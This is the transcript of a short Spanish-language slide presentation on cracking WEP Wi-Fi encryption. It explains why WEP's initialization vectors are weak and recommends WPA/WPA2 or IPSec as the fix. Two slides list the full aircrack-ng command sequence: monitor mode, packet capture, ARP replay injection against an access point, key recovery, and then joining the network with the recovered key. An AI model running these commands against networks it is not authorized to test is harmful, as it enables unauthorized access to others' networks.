Cracking WEP
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Cracking WEP

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Presentación realizada por Jesus Bolivar (@jesusbolivar - twitter).

Presentación realizada por Jesus Bolivar (@jesusbolivar - twitter).

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Cracking WEP Presentation Transcript

  • 1. Cracking WEP
  • 2. WEP – WiredEquivalentPrivacy
    Protocolo de encriptación
    5/13 caracteres ASCII o 10/26 caracteres hexadecimales
    Vulnerabilidades descubiertas en 2001
    Sustituido por WPA (Wi-Fi Protected Access) en 2003
    Declarado obsoleto en 2004
  • 3. El Problema
    Protocolo defectuoso
    40/104 bits de clave + 24 bits de vector de inicialización
    50 % de probabilidad de que un VI se repita después de 5000 paquetes
    El numero máximo de VIs diferentes es limitado
  • 4. El Ataque
    Hacer que el Access Point agote los VIs posibles
    Recolectar 50.000+ VIs
    Conseguir la clave utilizando un método estadístico
    Tiempo de ejecución 5-15 min
  • 5. El Ataque
    airmon-ngstart wlan0
    airodump-ng -c canal -w test --encryptwep mon0
    aireplay-ng -3 -b mac_ap -h mac_cliente_conectado wlan0
    aircrack-ng -e nombrered test*.cap
  • 6. El Ataque
    airmon-ng stop mon0
    airmon-ng stop wlan0
    ifconfig wlan0 down
    iwconfig wlan0 channel x essidnombreredkey s:clave modemanaged
    ifconfig wlan0 up
    servicenetworkingrestart
  • 7. The Tools
    BackTrack 4
    Suite Aircrack-ng
    Tarjeta inalámbrica soportada o paciencia… en algunos casos :)
  • 8. El Remedio
    WPA/WPA2
    IPSec
    WEP en Modo Open (solo un poco mas seguro que WEP)
  • 9. Sources
    http://www.aircrack-ng.org/doku.php
    http://www.backtrack-linux.org
    http://es.wikipedia.org/wiki/WEP